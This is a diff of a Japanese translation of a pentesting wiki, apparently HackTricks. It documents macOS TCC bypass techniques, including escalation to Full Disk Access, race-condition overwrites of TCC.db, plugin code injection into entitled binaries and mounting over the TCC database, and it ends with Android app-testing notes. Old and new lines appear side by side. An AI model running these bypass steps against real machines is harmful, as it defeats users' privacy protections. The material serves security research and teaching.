### **Endpoint Security Client to FDA**
### **エンドポイントセキュリティクライアントからFDAへ**
**`kTCCServiceEndpointSecurityClient`** を持っていれば、FDAがあります。終了。
**`kTCCServiceEndpointSecurityClient`**を持っていれば、FDAがあります。終了。
### System Policy SysAdmin File to FDA
### システムポリシーSysAdminファイルからFDAへ
**`kTCCServiceSystemPolicySysAdminFiles`** は、ユーザーの **`NFSHomeDirectory`** 属性を **変更** することを許可し、これによりホームフォルダを変更し、**TCCをバイパス** することができます。
**`kTCCServiceSystemPolicySysAdminFiles`**は、ユーザーの**`NFSHomeDirectory`**属性を**変更**することを許可し、これによりホームフォルダを変更し、**TCCをバイパス**することができます。
### User TCC DB to FDA
### ユーザーTCC DBからFDAへ
**ユーザーTCC** データベースに対する **書き込み権限** を取得しても、**`FDA`** 権限を自分に付与することはできません。システムデータベースに存在する者だけがそれを付与できます。
**ユーザーTCC**データベースに対する**書き込み権限**を取得しても、**`FDA`**権限を自分に付与することはできません。システムデータベースに存在する者だけがそれを付与できます。
しかし、**`Finderへの自動化権限`** を自分に与えることができ、前述の技術を悪用してFDA\*に昇格することできます。
しかし、**`Finderへの自動化権限`**を自分に与え、前述の技術を悪用してFDA\*に昇格することできます。
### **FDA to TCC permissions**
### **FDAからTCC権限へ**
**フルディスクアクセス** のTCC名は **`kTCCServiceSystemPolicyAllFiles`** です。
**フルディスクアクセス**のTCC名は**`kTCCServiceSystemPolicyAllFiles`**です。
これは実際の特権昇格ではないと思いますが、もし役立つ場合に備えて: FDAを制御するプログラムがあれば、**ユーザーのTCCデータベースを変更して自分に任意のアクセスを与えることができます**。これは、FDA権限を失う可能性がある場合の持続技術として役立つかもしれません。
これは実際の昇格ではないと思いますが、もし役立つ場合に備えてFDAを制御するプログラムを持っている場合、**ユーザーのTCCデータベースを変更して自分に任意のアクセスを与えることができます**。これは、FDA権限を失う可能性がある場合の持続技術として役立つかもしれません。
### **SIP Bypass to TCC Bypass**
### **SIPバイパスからTCCバイパスへ**
システムの **TCCデータベース** **SIP** によって保護されているため、**指定された権を持つプロセスのみがそれを変更できる**のです。したがって、攻撃者が **ファイルに対するSIPバイパス** を見つけた場合SIPによって制限されたファイルを変更できる)、彼は以下のことができます:
システムの**TCCデータベース**は**SIP**によって保護されているため、**指定された権を持つプロセスのみがそれを変更できる**のです。したがって、攻撃者が**ファイルに対するSIPバイパス**を見つけた場合SIPによって制限されたファイルを変更できる場合)、彼は以下のことができます:
- **TCCデータベースの保護を削除** し、すべてのTCC権限を自分に与えることができます。例えば、これらのファイルのいずれかを悪用することができます:
- **TCCデータベースの保護を削除**し、自分にすべてのTCC権限を与えることができます。例えば、これらのファイルのいずれかを悪用することができます
- TCCシステムデータベース
- REG.db
- MDMOverrides.plist
ただし、**TCCをバイパスするためのSIPバイパス**を悪用する別のオプションがあります。ファイル `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` は、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルから **SIP保護を削除** し、**自分のアプリケーション** を追加できれば、そのアプリケーションはTCCをバイパスできるようになります。\
例えば、ターミナルを追加するために:
ただし、**TCCをバイパスするためのSIPバイパス**を悪用する別のオプションがあります。ファイル`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`は、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルから**SIP保護を削除**し、自分の**アプリケーションを追加**できれば、そのアプリケーションはTCCをバイパスできるようになります。\
例えば、ターミナルを追加するために
```bash
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
@ -556,6 +556,7 @@ AllowApplicationsList.plist:
```
### TCC バイパス
{{#ref}}
macos-tcc-bypasses/
{{#endref}}

View File

@ -6,7 +6,7 @@
### 書き込みバイパス
これはバイパスではなく、TCCの動作方法です: **書き込みから保護されていません**もしTerminalがユーザーのデスクトップを読み取るアクセス権を持っていなくても、**そこに書き込むことは可能です**:
これはバイパスではなく、TCCの動作方法です: **書き込みから保護されていません**ターミナルが**ユーザーのデスクトップを読み取るアクセス権を持っていなくても、そこに書き込むことができます**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -20,14 +20,14 @@ asd
### TCC ClickJacking
**TCCプロンプトの上にウィンドウを置く** ことで、ユーザーが気づかずに **受け入れる** ことが可能です。PoCは [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** で見つけることができます。**
**TCCプロンプトの上にウィンドウを置く** ことで、ユーザーがそれを **受け入れる** ようにすることが可能です。PoCは [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** で見つけることができます。**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### 任意の名前によるTCCリクエスト
攻撃者は **任意の名前** (例: Finder, Google Chrome...) のアプリを **`Info.plist`** に作成し、TCCで保護された場所へのアクセスを要求させることができます。ユーザーは、正当なアプリケーションがこのアクセスを要求していると思うでしょう。\
さらに、**正当なアプリをDockから削除し、偽のアプリを置く** ことが可能です。ユーザーが偽のアプリ同じアイコンを使用できるをクリックすると、正当なアプリを呼び出し、TCCの権限を要求し、マルウェアを実行させ、正当なアプリがアクセスを要求したと信じ込ませることができます。
攻撃者は **任意の名前** (例: Finder, Google Chrome...) のアプリを **`Info.plist`** に作成し、TCCで保護された場所へのアクセスをリクエストさせることができます。ユーザーは、正当なアプリケーションがこのアクセスをリクエストしていると思うでしょう。\
さらに、**正当なアプリをDockから削除し、偽のアプリをその上に置く** ことが可能です。ユーザーが偽のアプリ同じアイコンを使用できるをクリックすると、正当なアプリを呼び出し、TCCの権限を要求し、マルウェアを実行させ、正当なアプリがアクセスを要求したと信じ込ませることができます。
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -54,7 +54,7 @@ asd
属性 **`com.apple.macl`** はファイルに与えられ、**特定のアプリケーションにそれを読む権限を与えます。** この属性は、**ドラッグ&ドロップ** でファイルをアプリに移動したとき、またはユーザーが **ダブルクリック** して **デフォルトアプリケーション** でファイルを開くときに設定されます。
したがって、ユーザーは **悪意のあるアプリを登録** してすべての拡張子を処理し、Launch Servicesを呼び出して **任意のファイルを開く** ことができます(そのため、悪意のあるファイルは読み取るアクセスを与えられます)。
したがって、ユーザーは **悪意のあるアプリを登録** してすべての拡張子を処理し、Launch Servicesを呼び出して **任意のファイルを開く** ことができます(そのため、悪意のあるファイルはそれを読むアクセスを与えられます)。
### iCloud
@ -66,7 +66,7 @@ asd
### kTCCServiceAppleEvents / 自動化
**`kTCCServiceAppleEvents`** 権限を持つアプリは、**他のアプリを制御する** ことができます。これは、他のアプリに付与された権限を **悪用する** 可能性があることを意味します。
**`kTCCServiceAppleEvents`** 権限を持つアプリは、**他のアプリを制御する** ことができます。これは、他のアプリに付与された権限を **悪用する** ことができることを意味します。
Apple Scriptsに関する詳細情報は以下を確認してください
@ -80,7 +80,7 @@ macos-apple-scripts.md
#### iTerm上で
FDAを持たないTerminalは、FDAを持つiTermを呼び出し、それを使用してアクションを実行できます
フルディスクアクセスを持たないTerminalは、フルディスクアクセスを持つiTermを呼び出し、それを使用してアクションを実行できます
```applescript:iterm.script
tell application "iTerm"
activate
@ -151,9 +151,9 @@ $> ls ~/Documents
### CVE-2021-30782 - トランスロケーション
バイナリ`/usr/libexec/lsd`は、ライブラリ`libsecurity_translocate`使用しており、権限`com.apple.private.nullfs_allow`を持っていたため、**nullfs**マウントを作成でき、権限`com.apple.private.tcc.allow`を持っており、**`kTCCServiceSystemPolicyAllFiles`**を使用してすべてのファイルにアクセスできました。
バイナリ`/usr/libexec/lsd`は、ライブラリ`libsecurity_translocate`持ち、`com.apple.private.nullfs_allow`という権限があり、**nullfs**マウントを作成でき、`com.apple.private.tcc.allow`という権限を持ち、**`kTCCServiceSystemPolicyAllFiles`**を使用してすべてのファイルにアクセスできました。
「Library」に検疫属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことが可能で、その後、Libraryは**`$TMPDIR/AppTranslocation/d/d/Library`**にマッピングされ、Library内のすべてのドキュメントに**アクセス**できるようになりました。
「Library」にクアランティン属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことが可能で、その後、Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマッピングし、Library内のすべてのドキュメントに**アクセス**できるようになりました。
### CVE-2023-38571 - Music & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
@ -162,16 +162,16 @@ $> ls ~/Documents
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
この**`rename(a, b);`**の動作は**レースコンディション**に対して脆弱であり、`Automatically Add to Music.localized`フォルダ内に偽の**TCC.db**ファイルを置き、新しいフォルダ(b)が作成されるときにファイルをコピーし、それを削除し**`~/Library/Application Support/com.apple.TCC`**にポイントすることが可能です。
この**`rename(a, b);`**の動作は**レースコンディション**に対して脆弱であり、`Automatically Add to Music.localized`フォルダ内に偽の**TCC.db**ファイルを置き、新しいフォルダ(b)が作成されるときにファイルをコピーし、それを削除し**`~/Library/Application Support/com.apple.TCC`**にポイントすることが可能です。
### SQLITE_SQLLOG_DIR - CVE-2023-32422
**`SQLITE_SQLLOG_DIR="path/folder"`**は基本的に**任意のオープンDBがそのパスにコピーされる**ことを意味します。このCVEでは、この制御が悪用され、**SQLiteデータベース**の中に**書き込まれ**、そのデータベースが**FDAのTCCデータベースを持つプロセスによってオープンされる**ことになり、**`SQLITE_SQLLOG_DIR`**を**ファイル名にシンボリックリンク**を使用して悪用し、そのデータベースが**オープン**されると、ユーザーの**TCC.dbが上書き**されます。\
**詳細情報** [**こちらの解説**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **および**[ **こちらのトーク**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。
**`SQLITE_SQLLOG_DIR="path/folder"`**は基本的に**開いているすべてのdbがそのパスにコピーされる**ことを意味します。このCVEでは、この制御が悪用され、**SQLiteデータベース**内に**書き込まれ**、FDAのTCCデータベースで**開かれるプロセス**によって**`SQLITE_SQLLOG_DIR`**が**ファイル名のシンボリックリンク**で悪用され、そのデータベースが**開かれると**、ユーザーの**TCC.dbが上書き**されます。\
**詳細情報** [**の書き込み**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **および** [**トーク**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。
### **SQLITE_AUTO_TRACE**
環境変数**`SQLITE_AUTO_TRACE`**が設定されている場合、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリを**ログ**記録し始めます。多くのアプリケーションがこのライブラリを使用していたため、すべてのSQLiteクエリをログに記録することが可能でした。
環境変数**`SQLITE_AUTO_TRACE`**が設定されている場合、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリの**ログを開始**します。多くのアプリケーションがこのライブラリを使用していたため、すべてのSQLiteクエリをログに記録することが可能でした。
いくつかのAppleアプリケーションは、このライブラリを使用してTCC保護情報にアクセスしていました。
```bash
@ -182,34 +182,34 @@ launchctl setenv SQLITE_AUTO_TRACE 1
この**env変数は`Metal`フレームワークによって使用され**、これはさまざまなプログラムの依存関係であり、特に`Music`がFDAを持っています。
次のように設定します: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"``path`が有効なディレクトリであれば、バグがトリガーされ、`fs_usage`を使用してプログラム内で何が起こっているかを確認できます:
次のように設定します: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"``path`が有効なディレクトリであれば、バグがトリガーされ、`fs_usage`を使用してプログラム内で何が起こっているかを見ることができます:
- `path/.dat.nosyncXXXX.XXXXXX`Xはランダムという名前のファイルが`open()`されます
- 1つ以上の`write()`がファイルに内容を書き込みます(これを制御することはできません)
- `path/.dat.nosyncXXXX.XXXXXX``path/name``renamed()`されます
- `path/.dat.nosyncXXXX.XXXXXX`Xはランダムという名前のファイルが`open()`されます
- 1つ以上の`write()`がファイルに内容を書き込みます(これを制御することはできません)
- `path/.dat.nosyncXXXX.XXXXXX``path/name``renamed()`されます
これは一時ファイルの書き込みであり、その後に**`rename(old, new)`** **が行われますが、これは安全ではありません。**
これは一時ファイルの書き込みであり、その後に**`rename(old, new)`**が行われますが、**これは安全ではありません。**
安全でない理由は、**古いパスと新しいパスを別々に解決する必要があるため**、これには時間がかかる可能性があり、レースコンディションに対して脆弱です。詳細については、`xnu`関数`renameat_internal()`を確認できます。
> [!CAUTION]
> 基本的に、特権プロセスがあなたが制御するフォルダから名前を変更している場合、RCEを獲得し、特権アプリが作成したファイルにアクセスさせたり、このCVEのようにファイルディスクリプタを保存することができます。
> 基本的に、特権プロセスがあなたが制御するフォルダから名前を変更している場合、RCEを獲得し、異なるファイルにアクセスさせることができるか、またはこのCVEのように、特権アプリが作成したファイルを開いてFDを保存することができます。
>
> 名前変更があなたが制御するフォルダにアクセスする場合、ソースファイルを変更したり、そのファイルにFDを持っている間に、目的のファイルまたはフォルダをシンボリックリンクを指すように変更することで、いつでも書き込むことができます。
> 名前変更があなたが制御するフォルダにアクセスする場合、ソースファイルを変更したり、FDを持っている間に、目的のファイルまたはフォルダをシンボリックリンクを指すように変更することで、いつでも書き込むことができます。
これがCVEでの攻撃でしたたとえば、ユーザーの`TCC.db`を上書きするために、次のようにします:
- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします
- ディレクトリ`/Users/hacker/tmp/`を作成します
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します
- このenv変数で`Music`を実行してバグをトリガーします
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`Xはランダム`open()`をキャッチします
- ここで、このファイルをライティング用に`open()`し、ファイルディスクリプタを保持します
- `/Users/hacker/tmp``/Users/hacker/ourlink`と**ループ内で原子的に切り替えます**
- レースウィンドウが非常に狭いため、成功の可能性を最大化するためにこれを行いますが、レースに負けることのデメリットはほとんどありません
- 少し待ちます
- 運が良かったかテストします
- そうでなければ、最初から再実行します
- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします
- ディレクトリ`/Users/hacker/tmp/`を作成します
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します
- このenv変数で`Music`を実行してバグをトリガーします
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX``open()`をキャッチしますXはランダム
- ここで、このファイルをライティング用に`open()`し、ファイルディスクリプタを保持します
- `/Users/hacker/tmp``/Users/hacker/ourlink`と**ループ内で原子的に切り替えます**
- レースウィンドウが非常に狭いため、成功の可能性を最大化するためにこれを行いますが、レースに負けることのデメリットはほとんどありません
- 少し待ちます
- 運が良かったかテストします
- そうでなければ、最初から再実行します
詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)を確認してください。
@ -236,15 +236,15 @@ TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して
**最初のPOC**は[**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)と[**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して、ユーザーの**HOME**フォルダを変更します。
1. 対象アプリの_csreq_ブロブを取得します。
2. 必要なアクセスと_csreq_ブロブを持つ偽の_TCC.db_ファイルを植え付けます。
1. ターゲットアプリの_csreq_ブロブを取得します。
2. 必要なアクセスと_csreq_ブロブを持つ偽の_TCC.db_ファイルを植え付けます。
3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)を使用してユーザーのディレクトリサービスエントリをエクスポートします。
4. ユーザーのホームディレクトリを変更するためにディレクトリサービスエントリを修正します。
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して修正されたディレクトリサービスエントリをインポートします。
6. ユーザーの_tccd_を停止し、プロセスを再起動します。
2番目のPOCは、`/usr/libexec/configd`を使用し、`com.apple.private.tcc.allow``kTCCServiceSystemPolicySysAdminFiles`の値がありました。\
**`-t`**オプションで**`configd`**を実行することが可能で、攻撃者は**カスタムバンドルをロードする**ことができました。したがって、エクスプロイトは**ユーザーのホームディレクトリを変更するための**`dsexport`**および**`dsimport`**メソッドを**`configd`コードインジェクション**置き換えます。
**`-t`**オプションで**`configd`**を実行することが可能で、攻撃者は**カスタムバンドルをロードする**ことができました。したがって、エクスプロイトはユーザーのホームディレクトリを変更するための**`dsexport`**および**`dsimport`**メソッドを**`configd`コードインジェクション**置き換えます。
詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を確認してください。
@ -256,8 +256,8 @@ TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して
../../../macos-proces-abuse/
{{#endref}}
さらに、TCCをバイパスするために見つかった最も一般的なプロセスインジェクションは**プラグイン(ライブラリロード)**です。\
プラグインは通常、ライブラリやplistの形で追加のコードであり、**メインアプリケーションによってロードされ**、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセスを持っている場合(付与された権限や権利によって)、**カスタムコードもそれを持つことになります**。
さらに、TCCをバイパスするために見つかった最も一般的なプロセスインジェクションは**プラグイン(ライブラリロード)**です。\
プラグインは通常、ライブラリやplistの形で追加のコードであり、**メインアプリケーションによってロードされ**、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセス権を持っている場合(付与された権限または権利によって)、**カスタムコードもそれを持つことになります**。
### CVE-2020-27937 - Directory Utility
@ -269,7 +269,7 @@ TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して
### CVE-2020-29621 - Coreaudiod
バイナリ**`/usr/sbin/coreaudiod`**は、権限`com.apple.security.cs.disable-library-validation``com.apple.private.tcc.manager`を持っていました。最初のものは**コードインジェクションを許可**し、2番目は**TCCを管理する**アクセスを与えました
バイナリ**`/usr/sbin/coreaudiod`**は、権限`com.apple.security.cs.disable-library-validation``com.apple.private.tcc.manager`を持っていました。最初のものは**コードインジェクションを許可**し、2番目は**TCCを管理する**アクセスを与えま
このバイナリは、フォルダ`/Library/Audio/Plug-Ins/HAL`から**サードパーティプラグインをロード**することを許可しました。したがって、次のPoCを使用して**プラグインをロードし、TCC権限を悪用する**ことが可能でした:
```objectivec
@ -304,7 +304,7 @@ For more info check the [**original report**](https://wojciechregula.blog/post/p
Core Media I/O を介してカメラストリームを開くシステムアプリケーション(**`kTCCServiceCamera`** を持つアプリ)は、`/Library/CoreMediaIO/Plug-Ins/DAL` にある **これらのプラグインをプロセス内で読み込みます**SIP 制限なし)。
こに一般的な **コンストラクタ** を持つライブラリを保存するだけで **コードを注入** することができます。
こに一般的な **コンストラクタ** を持つライブラリを保存するだけで **コードを注入** することができます。
いくつかの Apple アプリケーションがこれに対して脆弱でした。
@ -336,7 +336,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
フォーマットの詳細については、[**元のレポートを確認してください**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。
フォーマルな情報については、[**元のレポートを確認してください**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。
### CVE-2020-10006
@ -438,11 +438,11 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
より詳細な説明は[**元のレポートで見つけることができます**](https://theevilbit.github.io/posts/cve_2020_9771/)**。**
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
### CVE-2021-1784 & CVE-2021-30808 - TCCファイルの上にマウント
### CVE-2021-1784 & CVE-2021-30808 - TCCファイルのマウント
TCC DBファイルが保護されていても、新しいTCC.dbファイルを**ディレクトリの上にマウントする**ことが可能でした:
TCC DBファイルが保護されていても、新しいTCC.dbファイルを**ディレクトリにマウントする**ことが可能でした:
```bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
@ -469,9 +469,9 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith
[**元の解説**](https://www.kandji.io/blog/macos-audit-story-part2)で説明されているように、このCVEは`diskarbitrationd`を悪用しました。
公開された`DiskArbitration`フレームワークの関数`DADiskMountWithArgumentsCommon`がセキュリティチェックを実行しました。しかし、`diskarbitrationd`を直接呼び出すことでバイパスすることが可能であり、そのためにパス内で`../`要素やシンボリックリンクを使用できます。
公開された`DiskArbitration`フレームワークの関数`DADiskMountWithArgumentsCommon`がセキュリティチェックを実行しました。しかし、`diskarbitrationd`を直接呼び出すことでバイパスすることが可能であり、そのためにパス内で`../`要素やシンボリックリンクを使用することができます。
これにより、攻撃者は`diskarbitrationd`の権限`com.apple.private.security.storage-exempt.heritable`を利用して、任意の場所にマウントを行うことができました。TCCデータベース上でも同様です。
これにより、攻撃者は`diskarbitrationd`の権限`com.apple.private.security.storage-exempt.heritable`を利用して、TCCデータベース上を含む任意の場所にマウントを行うことができました。
### asr
@ -479,11 +479,12 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith
### Location Services
**`/var/db/locationd/clients.plist`**には、**位置情報サービスにアクセスを許可されたクライアント**を示す第三のTCCデータベースがあります。\
フォルダ**`/var/db/locationd/`はDMGマウントから保護されていなかった**ため、自分のplistをマウントすることが可能でした。
**`/var/db/locationd/clients.plist`**には、**位置情報サービスにアクセスすることを許可されたクライアント**を示す第三のTCCデータベースがあります。\
フォルダ**`/var/db/locationd/`はDMGマウントから保護されていなかった**ため、自分自身のplistをマウントすることが可能でした。
## By startup apps
{{#ref}}
../../../../macos-auto-start-locations.md
{{#endref}}

View File

@ -24,12 +24,12 @@ android-applications-basics.md
## Other interesting tricks
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extract APK from device:
- [Play Storeでの位置情報の偽装](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged APIADBベースの非ルート特権アクセス](shizuku-privileged-api.md)
- [安全でないアプリ内更新メカニズムの悪用](insecure-in-app-update-rce.md)
- [アクセシビリティサービスの悪用Android RAT](accessibility-services-abuse.md)
- **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- デバイスからAPKを抽出する:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -50,10 +50,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## ケーススタディと脆弱性
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
@ -65,11 +67,11 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### 興味深い情報の探索
APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**など、興味深いものを探すことができます... コード実行の**バックドア**や認証バックドア(アプリにハードコーディングされた管理者資格情報)も探してください。
APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**などの興味深い情報を検索できます... コード実行の**バックドア**や認証バックドア(アプリにハードコーディングされた管理者資格情報)も探してください。
**Firebase**
**FirebaseのURL**に特に注意を払い、設定が不適切でないか確認してください。[Firebaseとは何か、どのように悪用するかについての詳細情報はこちら。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**FirebaseのURL**に特に注意を払い、設定が不適切でないか確認してください。[Firebaseについての詳細情報とその悪用方法についてこちらをご覧ください。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### アプリケーションの基本理解 - Manifest.xml, strings.xml
@ -79,7 +81,7 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht
- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、チュートリアルを参照してください。
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、特にUSBデバッグが有効な場合に、adbを介した不正なデータバックアップを防ぐことができます。
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ設定`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可する例があります。
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになります。
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。
@ -100,7 +102,7 @@ tapjacking.md
### タスクハイジャック
**`launchMode`**が**`singleTask`**に設定され、**`taskAffinity`**が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**実際のアプリケーションを使用していると思いながら、悪意のあるアプリケーションと対話している**)。
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションを使用していると思い込んでいる**)。
詳細情報は以下を参照してください:
@ -112,10 +114,10 @@ android-task-hijacking.md
**内部ストレージ**
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。
1. **静的分析:**
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**をファイルに**さらす可能性があります**。
2. **動的分析:**
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
@ -147,7 +149,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
